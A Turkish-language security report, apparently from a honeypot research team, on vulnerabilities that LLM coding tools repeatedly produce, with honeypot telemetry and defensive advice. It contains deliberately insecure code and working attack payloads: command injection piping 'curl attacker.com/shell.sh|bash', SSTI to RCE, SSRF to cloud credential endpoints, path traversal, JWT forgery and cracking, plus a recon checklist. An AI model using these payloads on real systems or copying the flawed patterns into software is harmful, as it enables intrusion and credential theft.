1. Giriş ve Kapsam
Bu rapor, LLM tabanlı kod üretim araçlarının (Cursor, GitHub Copilot, Windsurf, Claude Code vb.) yaygınlaşmasıyla birlikte gözlemlenen yapısal güvenlik sorunlarını teknik derinlikte ele almaktadır. Hedef kitle güvenlik araştırmacıları ve ofansif/defansif ekiplerdir; bu nedenle içerik zafiyet mekanizmalarını, exploit edilebilirlik koşullarını ve gözlemlenen saldırı pattern'lerini doğrudan aktarmaktadır.
Raporun kapsamı şu üç eksen üzerine kurulmuştur:
- LLM'lerin kod üretirken yapısal olarak neden belirli zafiyet kategorilerini tekrar ürettiği
- Bu zafiyetlerin nasıl exploit edildiği ve honeypot telemetrisinde hangi pattern'lerin gözlemlendiği
- Saldırgan perspektifinden AI-generated sistemlerin nasıl fingerprint edildiği ve hedeflendiği
Savunma tarafı (hardening, detection, monitoring) son bölümde ele alınmaktadır; ancak bu raporun asıl odağı saldırı yüzeyi ve exploit mekanizmalarıdır.
2. LLM'lerin Neden Güvensiz Kod Ürettiği: Yapısal Sorun
Güvenlik açısından LLM'lerin temel problemi eğitim hedefiyle güvenlik hedefinin örtüşmemesidir. Bir dil modeli, verilen prompt'a karşılık istatistiksel olarak en olası token dizisini üretir. Bu süreçte güvenlik, açıkça talep edilmediği sürece optimizasyon kriteri değildir.
Buna ek olarak LLM eğitim verilerinde güvenlik açığı içeren kodun güvenli koddan sayıca fazla olduğu bilinmektedir. Stack Overflow, GitHub ve genel web crawl verilerinin büyük çoğunluğu production-grade değil, "çalışıyor mu?" seviyesinde örneklerden oluşmaktadır. Model bu dağılımı öğrenir.
Pratikte bu şu anlama gelir: LLM bir authentication mekanizması yazarken, eğitim verisinde en sık gördüğü pattern'i üretir. Bu pattern çoğunlukla:
- Hardcoded secret ile imzalanmış JWT
- MD5 veya SHA1 ile hash'lenmiş parola
- Authorization header kontrolü olmayan endpoint
- SQL sorgusuna doğrudan string interpolasyonuyla eklenen kullanıcı girdisi
şeklinde tezahür eder. Bu bir bug değil, modelin tasarım gereği davranışıdır. Modelden güvenli kod üretmesini isteyebilirsiniz ancak bunu her prompt'ta açıkça belirtmek ve üretilen çıktıyı doğrulamak zorundasınızdır.
Temel Gözlem
LLM'lerin güvensiz kod üretmesinin nedeni "hata yapmaları" değil, güvenliğin eğitim sürecinde birincil hedef olmamasıdır. Bu nedenle zafiyet üretimi rastgele değil, belirli kategorilerde sistematik biçimde tekrar eder.
3. Zafiyet Kategorileri: Mekanizma ve Exploit Pattern'leri
3.1 Authentication ve Authorization Zafiyetleri
3.1.1 JWT Implementasyon Hataları
LLM'lerin ürettiği JWT implementasyonlarında birkaç tekrar eden hata kategorisi bulunmaktadır.
Weak secret: Modelin ürettiği örnek kodlarda JWT secret için en sık kullanılan değerler secret, changeme, your-secret-key, jwt_secret, mysecret gibi placeholder'lardır. Bu değerler çoğu zaman .env dosyasına taşınmaz ve production'a hardcoded olarak gider.
# Honeypot'ta yakalanan gerçek JWT decode örneği
# Header: {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "superuser", "iat": 1716000000}
# Secret: "changeme"
import jwt
token = jwt.encode({"sub": "admin", "role": "superuser"}, "changeme", algorithm="HS256")
# Bu token herhangi bir saldırgan tarafından dakikalar içinde brute-force edilebilir
Algorithm confusion (alg:none): Bazı LLM-üretimi implementasyonlarda algoritma doğrulaması eksik kalır. Saldırgan token'ın header kısmında algoritma değerini none olarak ayarlarsa ve kütüphane bunu kabul ediyorsa imza doğrulaması tamamen bypass edilir.
# alg:none saldırısı
import base64, json
header = base64.b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({"sub": "admin", "role": "superuser"}).encode()).rstrip(b'=')
forged_token = f"{header.decode()}.{payload.decode()}."
# Eğer backend şu şekilde doğrulama yapıyorsa (LLM'nin ürettiği yaygın pattern):
# decoded = jwt.decode(token, options={"verify_signature": False})
# → Bu token geçerli sayılır
Missing expiration check: LLM'lerin ürettiği token doğrulama kodlarının önemli bir kısmı exp claim'ini doğrulamamaktadır. Bu durum token revocation'ı imkânsız kılar; kullanıcı logout olsa bile eski token geçerliliğini korur.
3.1.2 Broken Access Control
LLM'lerin ürettiği API'lerde authentication (kimlik doğrulama) ve authorization (yetki kontrolü) arasındaki fark çoğu zaman gözetilmez. Model tipik olarak şu yapıyı üretir:
# LLM'nin ürettiği yaygın pattern — authentication var, authorization yok
@app.route("/api/admin/users")
@jwt_required()
def get_all_users():
# jwt_required() sadece token'ın geçerli olduğunu doğrular
# Kullanıcının admin olup olmadığını kontrol etmez
return jsonify(User.query.all())
Bu pattern'de herhangi bir geçerli kullanıcı token'ıyla admin endpoint'lerine erişilebilir. IDOR (Insecure Direct Object Reference) de benzer şekilde tekrar eder: LLM neredeyse hiç ownership kontrolü eklemez.
# IDOR örneği — LLM'nin ürettiği tipik pattern
@app.route("/api/documents/<int:doc_id>")
@jwt_required()
def get_document(doc_id):
doc = Document.query.get(doc_id)
if not doc:
return jsonify({"error": "Not found"}), 404
return jsonify(doc.to_dict())
# Eksik: doc.owner_id == current_user.id kontrolü
# Sonuç: Herhangi bir auth edilmiş kullanıcı tüm dökümanları okuyabilir
3.2 Injection Zafiyetleri
3.2.1 SQL Injection
Parameterized query kullanımı LLM'lerin teorik olarak bildiği bir konsepttir; ancak hız veya basitlik odaklı prompt'lara verilen yanıtlarda string interpolasyonu hâlâ sıkça görülmektedir.
# LLM'nin ürettiği güvensiz pattern
def search_users(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
return result.fetchall()
# Exploit:
# username = "' OR '1'='1
# username = "'; DROP TABLE users; --
# username = "' UNION SELECT username, password FROM admin_users --
ORM kullanılan projelerde raw query zorunluluğu olan durumlarda (complex joins, full-text search vb.) LLM çoğu zaman parametrelendirme yapmadan doğrudan string concat tercih eder. Bu özellikle arama fonksiyonlarında ve dinamik filtre oluşturmada sıkça görülür.
3.2.2 Command Injection
Shell komutlarını Python'dan çalıştırma ihtiyacı olduğunda LLM büyük çoğunlukla os.system() veya subprocess.call(shell=True) kullanır ve kullanıcı girdisini doğrudan komuta ekler.
# LLM'nin ürettiği güvensiz pattern
import os
@app.route("/api/ping")
def ping():
host = request.args.get("host")
result = os.system(f"ping -c 1 {host}")
return jsonify({"result": result})
# Exploit:
# GET /api/ping?host=8.8.8.8;cat /etc/passwd
# GET /api/ping?host=8.8.8.8;curl attacker.com/shell.sh|bash
# GET /api/ping?host=8.8.8.8%0Aid%0Awhoami
# Güvenli alternatif (LLM'ye açıkça söylenmeden nadiren üretilir):
import subprocess
result = subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True)
3.2.3 SSTI (Server-Side Template Injection)
LLM'nin ürettiği Flask/Jinja2 uygulamalarında dinamik içerik oluşturma için render_template_string() kullanımı sıkça görülür. Bu fonksiyon kullanıcı girdisiyle birleştirildiğinde SSTI'ya açık hale gelir.
# LLM'nin ürettiği güvensiz pattern
from flask import render_template_string
@app.route("/greet")
def greet():
name = request.args.get("name", "")
template = f"<h1>Merhaba, {name}!</h1>"
return render_template_string(template)
# Exploit:
# GET /greet?name={{7*7}} → 49 (template engine aktif)
# GET /greet?name={{config.SECRET_KEY}} → secret key leak
# GET /greet?name={{''.__class__.__mro__[1].__subclasses__()}} → class enumeration
# RCE:
# GET /greet?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
3.2.4 SSRF (Server-Side Request Forgery)
Webhook, URL fetch veya harici kaynak erişimi gerektiren fonksiyonlarda LLM neredeyse hiç URL validation eklemez. Bu durum cloud ortamlarında metadata endpoint erişimine yol açar.
# LLM'nin ürettiği güvensiz pattern
import requests
@app.route("/api/fetch-url")
def fetch_url():
url = request.args.get("url")
response = requests.get(url)
return response.text
# Exploit — AWS metadata:
# GET /api/fetch-url?url=http://169.254.169.254/latest/meta-data/
# GET /api/fetch-url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GET /api/fetch-url?url=http://169.254.169.254/latest/user-data/
# Exploit — Internal network scan:
# GET /api/fetch-url?url=http://10.0.0.1/
# GET /api/fetch-url?url=http://redis:6379/
# GET /api/fetch-url?url=http://postgres:5432/
# Exploit — File read (file:// protocol):
# GET /api/fetch-url?url=file:///etc/passwd
# GET /api/fetch-url?url=file:///app/.env
3.3 Insecure Configuration ve Infrastructure Zafiyetleri
3.3.1 Hardcoded Secrets ve Environment Yönetimi
LLM'nin ürettiği projelerde secret yönetimi sistematik olarak eksik kalır. Model, örnek kod üretirken placeholder değerleri kullanır; bunlar sıklıkla production'a taşınır.
# Honeypot'ta yakalanan gerçek .env içerikleri (pattern'ler)
DATABASE_URL=postgresql://postgres:postgres@localhost/myapp
SECRET_KEY=dev-secret-key-change-in-production
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrX...
STRIPE_SECRET_KEY=sk_live_...
SENDGRID_API_KEY=SG....
OPENAI_API_KEY=sk-...
REDIS_URL=redis://localhost:6379
# Bu dosyalar çeşitli vektörlerle expose olur:
# - .env dosyasının git'e commit edilmesi
# - /api/config veya /api/debug endpoint'leri üzerinden leak
# - Docker image layer'larında bırakılması
# - Error stack trace'lerinde environment variable dump'ı
Git history'de kalan secret'lar özellikle kritiktir. Secret commit edildikten sonra silinse bile git history'den çıkarılmadıkça erişilebilir durumdadır. GitHub'ın secret scanning özelliği aktif olmayan private repo'larda bu durum yaygın olarak görülmektedir.
3.3.2 Güvensiz Docker Konfigürasyonları
LLM'nin ürettiği Dockerfile'larda birkaç tekrar eden problem kategorisi bulunmaktadır.
# LLM'nin ürettiği tipik güvensiz Dockerfile pattern'leri
# Problem 1: root olarak çalışma
FROM python:3.11
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
CMD ["python", "app.py"]
# → Eksik: USER direktifi. Container root olarak çalışır.
# Problem 2: Aşırı geniş izinler
RUN chmod -R 777 /app
# → /app altındaki tüm dosyalar world-writable
# Problem 3: Build-time secret
ARG AWS_SECRET_KEY
RUN aws configure set aws_secret_access_key $AWS_SECRET_KEY
# → Secret image layer'larında kalır, docker history ile görülebilir
# Problem 4: Gereksiz port expose
EXPOSE 22 3306 5432 6379 27017
# → SSH, MySQL, PostgreSQL, Redis, MongoDB dışarıya açık
# Problem 5: .dockerignore eksikliği
COPY . .
# → .env, .git, test/ dahil her şey image'a girer
3.3.3 Insecure CORS Konfigürasyonu
LLM'nin ürettiği API'lerde CORS konfigürasyonu çoğunlukla wildcard ile yapılır. Bu pattern özellikle geliştirme aşamasında "çalışsın" diye eklenir ve production'da kalır.
# LLM'nin ürettiği wildcard CORS pattern'leri
# Flask-CORS:
from flask_cors import CORS
CORS(app, resources={r"/api/*": {"origins": "*"}})
# FastAPI:
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# → allow_credentials=True ile allow_origins=["*"] kombinasyonu
# özellikle tehlikelidir; cookie-based session'ları cross-origin saldırılara açar
# Express:
app.use(cors()); // Tüm origin'lere izin verir
# Exploit senaryosu:
# Kullanıcı attacker.com'u ziyaret eder
# Sayfa kurban'ın oturumunun açık olduğu API'ye istek atar
# Wildcard CORS ve credentials=true kombinasyonunda yanıt okunabilir
3.3.4 Debug Mode Production'da
Flask'ın debug modu aktifken Werkzeug interactive debugger devreye girer. Bu debugger tarayıcıdan Python kodu çalıştırmaya olanak tanır — tam anlamıyla RCE.
# LLM'nin ürettiği yaygın pattern
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=5000)
# debug=True + host="0.0.0.0" kombinasyonu:
# - Werkzeug debugger herhangi bir IP'den erişilebilir
# - /console endpoint'i üzerinden Python shell
# - PIN bypass teknikleri dokümante edilmiş durumda
# FastAPI'de de benzer durum:
uvicorn.run(app, host="0.0.0.0", port=8000, reload=True)
# reload=True production'da dosya sistemi erişimi gerektirir
3.4 Sensitive Data Exposure
3.4.1 Verbose Error Responses
LLM'nin ürettiği error handling genellikle ya hiç yoktur ya da stack trace'i doğrudan response body'e döker. Bu durum saldırgana dosya yolları, framework versiyonları, veritabanı yapısı ve iç mimari hakkında bilgi verir.
# LLM'nin ürettiği yaygın pattern
@app.errorhandler(Exception)
def handle_error(e):
return jsonify({
"error": str(e),
"traceback": traceback.format_exc() # Production'da asla
}), 500
# Saldırgan perspektifinden bu response'lar şunları açığa çıkarabilir:
# - Absolute file paths: /home/ubuntu/myapp/app/models/user.py line 47
# - Database structure: sqlalchemy.exc.OperationalError: column "admin_password" not found
# - Internal IP: psycopg2.connect(host="10.0.1.5", ...)
# - Dependency versions: werkzeug 2.0.1, sqlalchemy 1.4.23
3.4.2 Logging'de Sensitive Data
LLM'nin ürettiği debug logging kodu sıklıkla request body'nin tamamını, header'ları ve bazen parola ile token'ları loglar.
# LLM'nin ürettiği güvensiz logging pattern
import logging
logging.basicConfig(level=logging.DEBUG)
@app.before_request
def log_request():
logging.debug(f"Request: {request.method} {request.url}")
logging.debug(f"Headers: {dict(request.headers)}") # Authorization header dahil
logging.debug(f"Body: {request.get_json()}") # password, token dahil
# Log dosyaları çoğu zaman:
# - World-readable (/var/log/myapp/app.log, chmod 644)
# - Git'e commit ediliyor
# - S3 bucket'a backup alınıyor (public ACL ile)
# - Centralized logging sistemine ham olarak gönderiliyor
3.5 File Upload ve Path Traversal Zafiyetleri
3.5.1 Unrestricted File Upload
LLM'nin ürettiği dosya yükleme endpoint'lerinde tip kontrolü, boyut sınırı ve depolama izolasyonu çoğu zaman eksiktir.
# LLM'nin ürettiği güvensiz file upload pattern
@app.route("/upload", methods=["POST"])
@jwt_required()
def upload_file():
file = request.files["file"]
filename = file.filename # Kullanıcının verdiği isim doğrudan kullanılıyor
file.save(os.path.join("/app/uploads", filename))
return jsonify({"message": "Uploaded", "path": f"/uploads/{filename}"})
# Zafiyetler:
# 1. Path traversal: filename = "../../etc/cron.d/backdoor"
# 2. Extension bypass: shell.php, shell.php.jpg, shell.pHp
# 3. Dosya boyutu sınırı yok → DoS
# 4. Web-accessible uploads dizini → uploaded script doğrudan çalıştırılabilir
# 5. MIME type kontrolü yok
# Örnek exploit:
# filename: ../../app/templates/injected.html
# İçerik: {{config.SECRET_KEY}} veya {{''.__class__...}} (SSTI)
# GET /templates/injected.html → secret leak veya RCE
3.5.2 Path Traversal
Dosya indirme ve okuma endpoint'lerinde LLM nadiren path sanitization ekler.
# LLM'nin ürettiği güvensiz pattern
@app.route("/api/files/<filename>")
def serve_file(filename):
return send_file(os.path.join("/app/files", filename))
# Exploit:
# GET /api/files/../../../etc/passwd
# GET /api/files/..%2F..%2F..%2Fetc%2Fshadow
# GET /api/files/....//....//etc/passwd (double-encoding bypass)
# GET /api/files/%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Flask'ın send_from_directory() fonksiyonu bu korumayı otomatik yapar
# ancak LLM çoğu zaman send_file() ile os.path.join() kombinasyonunu tercih eder
3.6 Cryptographic Zafiyetler
3.6.1 Zayıf Hashing Algoritmaları
Parola hashing için LLM'nin ürettiği kodlarda MD5 ve SHA1/SHA256 kullanımı hâlâ yaygındır. Bu algoritmalar parola hashing için tasarlanmamıştır; GPU ile saniyede milyarlarca deneme yapılabilir.
# LLM'nin ürettiği güvensiz pattern'ler
# MD5 (kesinlikle kullanılmamalı):
import hashlib
hashed = hashlib.md5(password.encode()).hexdigest()
# SHA256 (genel amaçlı hash, parola için uygunsuz):
hashed = hashlib.sha256(password.encode()).hexdigest()
# Salt'sız SHA256 (rainbow table saldırısına açık):
hashed = hashlib.sha256((password + "salt").encode()).hexdigest()
# "salt" string literal, tüm kullanıcılar için aynı → rainbow table üretilebilir
# Doğru kullanım (LLM'ye açıkça söylenmeden nadiren üretilir):
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Alternatif: argon2-cffi, scrypt
3.6.2 Insecure Random Number Generation
Token, OTP ve session ID üretiminde LLM çoğunlukla random modülünü kullanır. Bu modül kriptografik amaçlar için güvensizdir.
# LLM'nin ürettiği güvensiz pattern'ler
import random
import string
# OTP üretimi:
otp = ''.join(random.choices(string.digits, k=6))
# Token üretimi:
token = ''.join(random.choices(string.ascii_letters + string.digits, k=32))
# Session ID:
session_id = str(random.randint(100000, 999999))
# random modülü Mersenne Twister algoritmasını kullanır
# Yeterli output gözlemlendiğinde iç durumu tahmin edilebilir
# Doğru kullanım:
import secrets
token = secrets.token_urlsafe(32)
otp = str(secrets.randbelow(1000000)).zfill(6)
3.7 Mass Assignment ve Input Validation Zafiyetleri
LLM'nin ürettiği REST API'lerde request body doğrudan model field'larına atanır. Bu durum kullanıcının gönderdiği herhangi bir field'ın veritabanına yazılmasına olanak tanır.
# LLM'nin ürettiği güvensiz pattern (SQLAlchemy + Flask)
@app.route("/api/users/<int:user_id>", methods=["PUT"])
@jwt_required()
def update_user(user_id):
user = User.query.get(user_id)
data = request.get_json()
for key, value in data.items():
setattr(user, key, value) # Tüm field'lar doğrudan atanıyor
db.session.commit()
return jsonify(user.to_dict())
# Exploit:
# PUT /api/users/42
# {"name": "John", "is_admin": true, "role": "superuser", "credit_balance": 99999}
# → is_admin ve role field'ları da yazılır
# Benzer pattern (Django REST Framework):
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = '__all__' # exclude veya read_only_fields eksik
4. AI-Generated Sistemlerin Fingerprinting'i: Saldırgan Perspektifi
AI-generated sistemler belirli pattern'ler ürettiği için bir saldırgan bu sistemleri diğerlerinden ayırt edebilir ve bilinen zafiyet setlerini öncelikli olarak hedefleyebilir.
4.1 Fingerprinting Teknikleri
AI-generated projelerde aşağıdaki işaretler sistematik olarak aranır:
# 1. Standart endpoint pattern'leri
GET /api/health → {"status": "ok", "version": "1.0.0"}
GET /api/docs → Swagger/OpenAPI (genellikle auth yok)
GET /docs → FastAPI otomatik dokümantasyon
GET /redoc → FastAPI alternatif UI
GET /__debug__ → Flask debug toolbar
GET /admin → Django admin veya custom panel
GET /api/test → Test endpoint (auth yok)
GET /internal/metrics → Prometheus metrics (auth yok)
# 2. Error response format'ı
# Flask default:
{"error": "404 Not Found: The requested URL was not found..."}
# FastAPI default:
{"detail": "Not Found"}
# Bu format'lar framework'ü ve versiyonu açığa çıkarır
# 3. Header pattern'leri
Server: Werkzeug/2.3.7 Python/3.11.4
X-Powered-By: Express
# LLM'nin ürettiği kod nadiren bu header'ları gizler
# 4. Response timing
# AI-generated auth bypass check: yanıt süresi tutarsızlığı
# Geçersiz kullanıcı: 50ms (kullanıcı bulunamadı → erken return)
# Geçerli kullanıcı, yanlış parola: 200ms (hash karşılaştırması)
# → Timing attack ile geçerli kullanıcı adları enumerate edilebilir
4.2 Automated Scanning Pattern'leri
Honeypot telemetrimizde AI-generated sistemleri hedefleyen tarama aktivitesinin belirli bir sıralamayı takip ettiği gözlemlenmiştir:
# Gözlemlenen tarama sırası (honeypot telemetry)
# Aşama 1: Framework tespiti
GET / → 200 OK (HTML/JSON)
GET /api/ → endpoint discovery
GET /docs → Swagger varlığı
GET /openapi.json → API şeması
# Aşama 2: Auth endpoint'leri
POST /api/auth/login → response format analizi
POST /api/login
POST /auth/token
POST /api/v1/auth
# Aşama 3: Yaygın default credential denemeleri
# admin:admin, admin:password, admin:changeme, admin:123456
# user:user, test:test, root:root
# Aşama 4: Bilinen zafiyet probe'ları
GET /api/users → mass enumeration (auth gerekiyor mu?)
GET /api/admin/users → horizontal privilege check
GET /.env → secret exposure
GET /config.json
GET /app.config
# Aşama 5: Injection probe'ları
GET /api/search?q=' → SQL error tespiti
GET /api/ping?host=127.0.0.1;id → command injection
GET /api/fetch?url=http://169.254.169.254/ → SSRF
4.3 Otomatik Exploit Araçlarının AI-Generated Sistemleri Hedeflemesi
Swagger/OpenAPI dokümantasyonu açıkta olan sistemler özellikle hedef alınmaktadır. Saldırganlar bu endpoint'leri kullanarak tüm API yapısını otomatik olarak keşfedebilir ve input field'larına otomatik fuzzing uygulayabilir.
# Swagger üzerinden otomatik saldırı akışı
# 1. /openapi.json indir → tüm endpoint'leri, parametreleri, şemaları al
# 2. Auth gerektirmeyen endpoint'leri filtrele
# 3. String parametrelerine injection payload'ları gönder
# 4. Integer parametrelerine negatif değer, 0, çok büyük değer gönder
# 5. File upload endpoint'lerine zararlı içerik gönder
# ffuf ile örnek:
ffuf -w /wordlists/api-endpoints.txt \
-u https://target.com/api/FUZZ \
-mc 200,301,302,401,403 \
-o endpoints.json
# Ardından:
# nuclei -l endpoints.json -t api-vulnerabilities/
5. LLM Prompt Engineering ile Güvenli Kod Üretimi: Sınırlar ve Gerçekçi Beklentiler
Prompt engineering ile LLM'nin ürettiği kodun güvenlik kalitesi artırılabilir; ancak bu yaklaşımın sınırlarını anlamak önemlidir.
5.1 Ne İşe Yarar
Açık güvenlik direktifleri içeren sistem prompt'ları veya user prompt'ları belirli zafiyet kategorilerini azaltır. Örneğin:
- "Parameterized query kullan, string interpolasyon kullanma" → SQL injection riskini azaltır
- "JWT secret'ı environment variable'dan oku, hardcode etme" → Secret exposure riskini azaltır
- "bcrypt veya argon2 kullan, MD5/SHA kullanma" → Zayıf hashing riskini azaltır
- "Rate limiting ekle" → Brute force riskini azaltır
Bu direktifler işe yarar çünkü model bu kalıpları eğitim verisinde görmüştür; sadece aktivasyonunu tetiklemek gerekir.
5.2 Ne İşe Yaramaz
Genel "güvenli kod yaz" direktifi yeterli değildir. Model bu durumda yüzeysel güvenlik kontrolleri ekler (örneğin input validation) ama daha derin yapısal sorunları (authorization logic, timing attacks, business logic flaws) görmez.
Ayrıca modelin ürettiği kodun tamamını prompt'ta belirtilen kısıtlara göre doğrulayan bir mekanizma yoktur. Model, prompt'u "anladığını" ifade ederken ürettiği kod farklı davranabilir.
5.3 Doğrulama Zorunluluğu
LLM-assisted geliştirmede güvenlik kontrolü sadece prompt'a bırakılamaz. Üretilen kodun güvenlik perspektifinden doğrulanması için:
- SAST araçları (Semgrep, Bandit, CodeQL) CI pipeline'ına entegre edilmeli
- Dependency scanning (Safety, Snyk, Dependabot) aktif olmalı
- Secret scanning (Gitleaks, TruffleHog) commit öncesi çalışmalı
- Kritik bileşenler (auth, payment, admin) manuel code review'dan geçmeli
6. Telemetry Gözlemleri: Honeypot'ta Yakalanan Pattern'ler
ALHAN PETEK Honeypot Network üzerinden toplanan telemetry verilerine dayanarak AI-generated sistemlere yönelik saldırı pattern'lerinde son dönemde belirgin değişimler gözlemlenmiştir.
6.1 Hız ve Otomasyon
AI-generated sistemlerdeki bilinen zafiyet setleri (weak JWT secret, /docs endpoint, .env exposure) için tarama aktivitesi çok daha hızlı ve sistematik hale gelmiştir. Yeni bir IP bloğu internete açıldığında bu endpoint'lerin taranması dakikalar içinde gerçekleşmektedir.
# Honeypot log örneği (anonimize edilmiş)
2026-05-15 03:12:44 GET /.env → 404
2026-05-15 03:12:44 GET /config.json → 404
2026-05-15 03:12:45 GET /api/docs → 200 (hit)
2026-05-15 03:12:45 GET /openapi.json → 200 (hit)
2026-05-15 03:12:46 POST /api/auth/login (admin:admin) → 401
2026-05-15 03:12:46 POST /api/auth/login (admin:changeme) → 401
2026-05-15 03:12:46 POST /api/auth/login (admin:password) → 401
2026-05-15 03:12:47 GET /api/users → 200 (auth bypass — hit)
2026-05-15 03:12:47 GET /api/admin/users → 200 (auth bypass — hit)
# Toplam süre: 3 saniye. Tamamen otomatize.
6.2 Hedef Önceliklendirme
Saldırganların AI-generated sistemleri tanımlayıp önceliklendirdiği gözlemlenmiştir. Swagger/OpenAPI endpoint'i açık olan sistemler, olmayanlara kıyasla çok daha yoğun ikinci aşama saldırıya maruz kalmaktadır. Bu, saldırganların API şemasına erişimi yüksek değerli bilgi olarak değerlendirdiğini göstermektedir.
6.3 AI-Assisted Saldırı Araçları
Honeypot'ta yakalanan bazı saldırı payload'larının yapısı, insan tarafından elle yazılmış payload'lardan farklı karakteristikler taşımaktadır: çok sayıda varyasyon, tutarlı encoding stratejisi, bağlamsal adaptasyon. Bu durum saldırı tarafında da AI kullanımının arttığına işaret etmektedir.
# Gözlemlenen SSRF payload varyasyonları (tek oturumda)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://[::ffff:169.254.169.254]/latest/meta-data/
http://169.254.169.254.nip.io/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/ (oktal encoding)
http://2852039166/latest/meta-data/ (decimal IP)
http://0xa9fea9fe/latest/meta-data/ (hex IP)
# Bu çeşitlilik, payload üretiminin otomatize edildiğine işaret eder
7. Önerilen Kontrol Noktaları: Güvenlik Araştırmacısı Perspektifinden
AI-generated bir sistemi değerlendirirken aşağıdaki kontrol noktaları yüksek bulgu olasılığı taşımaktadır.
7.1 Hızlı Keşif Aşaması
# 1. Endpoint discovery
GET /docs, /redoc, /openapi.json, /swagger.json, /api-docs
GET /.env, /config.json, /settings.json, /app.config
GET /admin, /admin/login, /dashboard
GET /debug, /internal, /metrics, /health
GET /api/test, /api/v1/test, /api/status
# 2. Error mesajı analizi
GET /api/nonexistent-endpoint-xyz
POST /api/login (malformed JSON body)
GET /api/users/99999999
# → Stack trace, framework versiyonu, file path leak?
# 3. Header analizi
curl -I https://target.com/api/
# Server, X-Powered-By, X-Frame-Options, CORS headers
7.2 Authentication Analizi
# 1. JWT analizi
# Token'ı decode et (imza doğrulamadan):
echo "eyJ..." | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# → alg, exp, iat, sub, role field'larına bak
# 2. Weak secret brute-force
hashcat -a 0 -m 16500 token.txt /wordlists/jwt-secrets.txt
# 3. alg:none testi
# Header'da "alg": "none" ile token üret, imzasız gönder
# 4. Authorization endpoint'leri
# Düşük yetkili kullanıcı token'ıyla admin endpoint'lerine eriş
GET /api/admin/users (normal user token ile)
GET /api/users (token olmadan)
DELETE /api/users/1 (başka kullanıcı token'ıyla)
7.3 Injection Test Noktaları
# SQL injection - hızlı probe
GET /api/search?q='
GET /api/search?q=1 OR 1=1--
GET /api/items/1'
GET /api/items/1 AND SLEEP(5)-- (blind SQLi)
# Command injection
GET /api/ping?host=127.0.0.1;id
GET /api/ping?host=127.0.0.1|whoami
GET /api/ping?host=`id`
# SSTI
GET /api/greet?name={{7*7}}
GET /api/greet?name=${7*7}
GET /api/greet?name=<%= 7*7 %>
# SSRF
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
GET /api/fetch?url=http://localhost/admin
GET /api/webhook?url=http://your-burp-collab.net/
8. Sonuç
AI-assisted geliştirme araçları yazılım üretim kapasitesini genişletmektedir; ancak bu araçların ürettiği kod, güvenlik açısından belirli ve tahmin edilebilir zafiyet kategorilerini sistematik biçimde içermektedir. Bu durum rastgele değildir: modellerin eğitim hedefi ile güvenli yazılım üretimi arasındaki yapısal uyumsuzluktan kaynaklanmaktadır.
Güvenlik araştırmacıları açısından bu durum şu anlama gelmektedir: AI-generated sistemler, bildik zafiyet kategorilerini içerme olasılığı yüksek ve pattern'leri tahmin edilebilir hedeflerdir. Authentication bypass, injection, SSRF, hardcoded secret ve verbose error gibi kategoriler bu sistemlerde insan-yazımı sistemlere kıyasla çok daha yüksek oranda görülmektedir.
Saldırı tarafında ise AI kullanımının arttığına dair gözlemler, mevcut tehdit dinamiklerinin hızlandığına işaret etmektedir. Zayıf sistemler daha hızlı taranmakta, payload'lar daha hızlı adapte edilmekte ve saldırı yüzeyi daha sistematik biçimde haritalanmaktadır.
Bu dengeyi koruyabilmek için; otomatik statik analiz, secret scanning ve runtime anomali tespitinin geliştirme sürecine entegrasyonu zorunlu hale gelmektedir.
Bu araştırma ALHAN CyberSecurity PETEK Honeypot Network telemetry verileri ve gerçek dünya gözlemlerine dayanmaktadır. Kod örnekleri eğitim amaçlıdır; zafiyet mekanizmalarını göstermek için sadeleştirilmiştir. IOC listesi, YARA kuralları ve detaylı teknik rapor için araştırma ekibiyle iletişime geçin.